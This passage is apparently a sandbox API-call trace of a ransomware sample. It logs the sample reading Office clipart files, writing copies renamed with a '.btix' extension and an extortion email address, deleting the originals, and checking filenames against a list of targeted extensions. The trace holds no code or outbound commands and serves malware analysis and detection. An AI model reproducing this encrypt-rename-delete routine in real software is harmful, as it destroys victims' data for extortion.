lpBuffer=0x3c65020*, lpNumberOfBytesWritten=0x300fc94*=0x2580, lpOverlapped=0x0) returned 1 [0134.786] ReadFile (in: hFile=0x4dc, lpBuffer=0x3c65020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c65020*, lpNumberOfBytesRead=0x300fecc*=0x0, lpOverlapped=0x0) returned 1 [0134.786] WriteFile (in: hFile=0x534, lpBuffer=0x3c65020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c65020*, lpNumberOfBytesWritten=0x300fc94*=0xec, lpOverlapped=0x0) returned 1 [0134.786] SetEndOfFile (hFile=0x534) returned 1 [0134.787] CloseHandle (hObject=0x534) returned 1 [0134.787] SetFilePointerEx (in: hFile=0x4dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0134.787] SetEndOfFile (hFile=0x4dc) returned 1 [0134.793] CloseHandle (hObject=0x4dc) returned 1 [0134.793] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086420.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0134.793] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086420.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086420.wmf")) returned 1 [0135.037] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086420.WMF") returned 68 [0135.037] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086420.WMF") returned 68 [0135.037] lstrlenW (lpString=".doc") returned 4 [0135.037] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0135.037] lstrlenW (lpString=".docx") returned 5 [0135.037] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0135.037] lstrlenW (lpString=".pdf") returned 4 [0135.037] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0135.037] lstrlenW (lpString=".xls") returned 4 [0135.037] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0135.037] lstrlenW (lpString=".xlsx") returned 5 [0135.037] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0135.037] lstrlenW (lpString=".ppt") returned 4 [0135.037] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0135.037] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086420.WMF") returned 68 [0135.037] lstrlenW (lpString=".zip") returned 4 [0135.037] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0135.037] lstrlenW (lpString=".rar") returned 4 [0135.037] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0135.037] lstrlenW (lpString=".bz2") returned 4 [0135.037] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0135.037] lstrlenW (lpString=".7z") returned 3 [0135.037] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0135.037] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086420.WMF") returned 68 [0135.037] lstrlenW (lpString=".dbf") returned 4 [0135.037] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0135.037] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086420.WMF") returned 68 [0135.037] lstrlenW (lpString=".1cd") returned 4 [0135.038] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0135.038] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086420.WMF") returned 68 [0135.038] lstrlenW (lpString=".jpg") returned 4 [0135.038] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0135.038] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086420.WMF") returned 68 [0135.038] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086420.WMF") returned 68 [0135.038] lstrlenW (lpString=".doc") returned 4 [0135.038] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0135.038] lstrlenW (lpString=".docx") returned 5 [0135.038] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0135.038] lstrlenW (lpString=".pdf") returned 4 [0135.038] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0135.038] lstrlenW (lpString=".xls") returned 4 [0135.038] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0135.038] lstrlenW (lpString=".xlsx") returned 5 [0135.038] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0135.038] lstrlenW (lpString=".ppt") returned 4 [0135.038] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0135.038] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086420.WMF") returned 68 [0135.038] lstrlenW (lpString=".zip") returned 4 [0135.038] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0135.038] lstrlenW (lpString=".rar") returned 4 [0135.038] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0135.038] lstrlenW (lpString=".bz2") returned 4 [0135.038] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0135.038] lstrlenW (lpString=".7z") returned 3 [0135.038] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0135.038] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086420.WMF") returned 68 [0135.038] lstrlenW (lpString=".dbf") returned 4 [0135.038] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0135.038] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086420.WMF") returned 68 [0135.038] lstrlenW (lpString=".1cd") returned 4 [0135.038] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0135.038] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086420.WMF") returned 68 [0135.038] lstrlenW (lpString=".jpg") returned 4 [0135.038] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0135.039] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0135.039] lstrlenW (lpString="J0089992.WMF") returned 12 [0135.039] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089992.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0089992.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c0 [0135.995] GetFileSizeEx (in: hFile=0x4c0, lpFileSize=0x300ff14 | out: lpFileSize=0x300ff14*=15680) returned 1 [0135.995] CloseHandle (hObject=0x4c0) returned 1 [0135.995] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089992.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0089992.wmf")) returned 0x220 [0136.177] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089992.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0089992.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0136.177] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089992.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0089992.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c0 [0136.177] SetFilePointerEx (in: hFile=0x4c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0136.178] SetFilePointerEx (in: hFile=0x4c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0136.178] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089992.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0089992.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0136.179] GetLastError () returned 0x0 [0136.179] ReadFile (in: hFile=0x4c0, lpBuffer=0x3c65020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c65020*, lpNumberOfBytesRead=0x300fecc*=0x3d40, lpOverlapped=0x0) returned 1 [0136.180] WriteFile (in: hFile=0x550, lpBuffer=0x3c65020*, nNumberOfBytesToWrite=0x3d50, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c65020*, lpNumberOfBytesWritten=0x300fc94*=0x3d50, lpOverlapped=0x0) returned 1 [0136.181] ReadFile (in: hFile=0x4c0, lpBuffer=0x3c65020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c65020*, lpNumberOfBytesRead=0x300fecc*=0x0, lpOverlapped=0x0) returned 1 [0136.181] WriteFile (in: hFile=0x550, lpBuffer=0x3c65020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c65020*, lpNumberOfBytesWritten=0x300fc94*=0xec, lpOverlapped=0x0) returned 1 [0136.181] SetEndOfFile (hFile=0x550) returned 1 [0136.181] CloseHandle (hObject=0x550) returned 1 [0136.181] SetFilePointerEx (in: hFile=0x4c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0136.181] SetEndOfFile (hFile=0x4c0) returned 1 [0136.184] CloseHandle (hObject=0x4c0) returned 1 [0136.184] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089992.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0136.184] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089992.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0089992.wmf")) returned 1 [0136.184] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089992.WMF") returned 68 [0136.184] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089992.WMF") returned 68 [0136.184] lstrlenW (lpString=".doc") returned 4 [0136.185] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0136.185] lstrlenW (lpString=".docx") returned 5 [0136.185] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0136.185] lstrlenW (lpString=".pdf") returned 4 [0136.185] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0136.185] lstrlenW (lpString=".xls") returned 4 [0136.185] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0136.185] lstrlenW (lpString=".xlsx") returned 5 [0136.185] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0136.185] lstrlenW (lpString=".ppt") returned 4 [0136.185] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0136.185] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089992.WMF") returned 68 [0136.185] lstrlenW (lpString=".zip") returned 4 [0136.185] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0136.185] lstrlenW (lpString=".rar") returned 4 [0136.185] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0136.185] lstrlenW (lpString=".bz2") returned 4 [0136.185] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0136.185] lstrlenW (lpString=".7z") returned 3 [0136.185] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0136.185] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089992.WMF") returned 68 [0136.185] lstrlenW (lpString=".dbf") returned 4 [0136.185] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0136.185] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089992.WMF") returned 68 [0136.185] lstrlenW (lpString=".1cd") returned 4 [0136.185] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0136.185] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089992.WMF") returned 68 [0136.185] lstrlenW (lpString=".jpg") returned 4 [0136.185] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0136.185] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089992.WMF") returned 68 [0136.185] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089992.WMF") returned 68 [0136.185] lstrlenW (lpString=".doc") returned 4 [0136.185] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0136.185] lstrlenW (lpString=".docx") returned 5 [0136.185] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0136.185] lstrlenW (lpString=".pdf") returned 4 [0136.185] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0136.186] lstrlenW (lpString=".xls") returned 4 [0136.186] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0136.186] lstrlenW (lpString=".xlsx") returned 5 [0136.186] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0136.186] lstrlenW (lpString=".ppt") returned 4 [0136.186] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0136.186] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089992.WMF") returned 68 [0136.186] lstrlenW (lpString=".zip") returned 4 [0136.186] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0136.186] lstrlenW (lpString=".rar") returned 4 [0136.186] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0136.186] lstrlenW (lpString=".bz2") returned 4 [0136.186] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0136.186] lstrlenW (lpString=".7z") returned 3 [0136.186] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0136.186] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089992.WMF") returned 68 [0136.186] lstrlenW (lpString=".dbf") returned 4 [0136.186] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0136.186] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089992.WMF") returned 68 [0136.186] lstrlenW (lpString=".1cd") returned 4 [0136.186] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0136.186] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089992.WMF") returned 68 [0136.186] lstrlenW (lpString=".jpg") returned 4 [0136.186] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0136.186] lstrcmpiW (lpString1=".JPG", lpString2=".btix") returned 1 [0136.186] lstrlenW (lpString="J0099145.JPG") returned 12 [0136.186] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099145.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099145.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c0 [0136.188] GetFileSizeEx (in: hFile=0x4c0, lpFileSize=0x300ff14 | out: lpFileSize=0x300ff14*=24759) returned 1 [0136.188] CloseHandle (hObject=0x4c0) returned 1 [0136.188] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099145.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099145.jpg")) returned 0x220 [0136.188] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099145.JPG.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099145.jpg.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0136.188] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099145.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099145.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c0 [0136.188] SetFilePointerEx (in: hFile=0x4c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0136.188] SetFilePointerEx (in: hFile=0x4c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0136.188] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099145.JPG.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099145.jpg.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0136.189] GetLastError () returned 0x0 [0136.189] ReadFile (in: hFile=0x4c0, lpBuffer=0x3c65020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c65020*, lpNumberOfBytesRead=0x300fecc*=0x60b7, lpOverlapped=0x0) returned 1 [0136.198] WriteFile (in: hFile=0x550, lpBuffer=0x3c65020*, nNumberOfBytesToWrite=0x60c0, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c65020*, lpNumberOfBytesWritten=0x300fc94*=0x60c0, lpOverlapped=0x0) returned 1 [0136.199] ReadFile (in: hFile=0x4c0, lpBuffer=0x3c65020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c65020*, lpNumberOfBytesRead=0x300fecc*=0x0, lpOverlapped=0x0) returned 1 [0136.199] WriteFile (in: hFile=0x550, lpBuffer=0x3c65020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c65020*, lpNumberOfBytesWritten=0x300fc94*=0xec, lpOverlapped=0x0) returned 1 [0136.200] SetEndOfFile (hFile=0x550) returned 1 [0136.200] CloseHandle (hObject=0x550) returned 1 [0136.200] SetFilePointerEx (in: hFile=0x4c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0136.200] SetEndOfFile (hFile=0x4c0) returned 1 [0136.202] CloseHandle (hObject=0x4c0) returned 1 [0136.202] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099145.JPG.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0136.202] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099145.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099145.jpg")) returned 1 [0136.203] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099145.JPG") returned 68 [0136.203] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099145.JPG") returned 68 [0136.203] lstrlenW (lpString=".doc") returned 4 [0136.203] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0136.203] lstrlenW (lpString=".docx") returned 5 [0136.203] lstrcmpiW (lpString1=".docx", lpString2="5.JPG") returned -1 [0136.203] lstrlenW (lpString=".pdf") returned 4 [0136.203] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0136.203] lstrlenW (lpString=".xls") returned 4 [0136.203] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0136.203] lstrlenW (lpString=".xlsx") returned 5 [0136.203] lstrcmpiW (lpString1=".xlsx", lpString2="5.JPG") returned -1 [0136.203] lstrlenW (lpString=".ppt") returned 4 [0136.203] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0136.204] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099145.JPG") returned 68 [0136.204] lstrlenW (lpString=".zip") returned 4 [0136.204] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0136.204] lstrlenW (lpString=".rar") returned 4 [0136.204] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0136.204] lstrlenW (lpString=".bz2") returned 4 [0136.204] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0136.204] lstrlenW (lpString=".7z") returned 3 [0136.204] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0136.204] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099145.JPG") returned 68 [0136.204] lstrlenW (lpString=".dbf") returned 4 [0136.204] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0136.204] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099145.JPG") returned 68 [0136.204] lstrlenW (lpString=".1cd") returned 4 [0136.204] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0136.204] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099145.JPG") returned 68 [0136.204] lstrlenW (lpString=".jpg") returned 4 [0136.204] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0136.204] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099145.JPG") returned 68 [0136.204] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099145.JPG") returned 68 [0136.204] lstrlenW (lpString=".doc") returned 4 [0136.204] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0136.204] lstrlenW (lpString=".docx") returned 5 [0136.204] lstrcmpiW (lpString1=".docx", lpString2="5.JPG") returned -1 [0136.204] lstrlenW (lpString=".pdf") returned 4 [0136.204] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0136.204] lstrlenW (lpString=".xls") returned 4 [0136.205] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0136.205] lstrlenW (lpString=".xlsx") returned 5 [0136.205] lstrcmpiW (lpString1=".xlsx", lpString2="5.JPG") returned -1 [0136.205] lstrlenW (lpString=".ppt") returned 4 [0136.205] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0136.205] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099145.JPG") returned 68 [0136.205] lstrlenW (lpString=".zip") returned 4 [0136.205] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0136.205] lstrlenW (lpString=".rar") returned 4 [0136.205] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0136.205] lstrlenW (lpString=".bz2") returned 4 [0136.205] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0136.205] lstrlenW (lpString=".7z") returned 3 [0136.205] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0136.205] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099145.JPG") returned 68 [0136.205] lstrlenW (lpString=".dbf") returned 4 [0136.205] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0136.205] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099145.JPG") returned 68 [0136.205] lstrlenW (lpString=".1cd") returned 4 [0136.205] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0136.205] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099145.JPG") returned 68 [0136.205] lstrlenW (lpString=".jpg") returned 4 [0136.205] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0136.205] lstrcmpiW (lpString1=".JPG", lpString2=".btix") returned 1 [0136.205] lstrlenW (lpString="J0099147.JPG") returned 12 [0136.205] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099147.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099147.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c0 [0136.206] GetFileSizeEx (in: hFile=0x4c0, lpFileSize=0x300ff14 | out: lpFileSize=0x300ff14*=24377) returned 1 [0136.207] CloseHandle (hObject=0x4c0) returned 1 [0136.207] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099147.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099147.jpg")) returned 0x220 [0136.207] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099147.JPG.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099147.jpg.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0136.207] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099147.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099147.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c0 [0136.207] SetFilePointerEx (in: hFile=0x4c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0136.207] SetFilePointerEx (in: hFile=0x4c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0136.207] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099147.JPG.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099147.jpg.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0136.208] GetLastError () returned 0x0 [0136.208] ReadFile (in: hFile=0x4c0, lpBuffer=0x3c65020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c65020*, lpNumberOfBytesRead=0x300fecc*=0x5f39, lpOverlapped=0x0) returned 1 [0136.210] WriteFile (in: hFile=0x550, lpBuffer=0x3c65020*, nNumberOfBytesToWrite=0x5f40, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c65020*, lpNumberOfBytesWritten=0x300fc94*=0x5f40, lpOverlapped=0x0) returned 1 [0136.211] ReadFile (in: hFile=0x4c0, lpBuffer=0x3c65020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c65020*, lpNumberOfBytesRead=0x300fecc*=0x0, lpOverlapped=0x0) returned 1 [0136.211] WriteFile (in: hFile=0x550, lpBuffer=0x3c65020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c65020*, 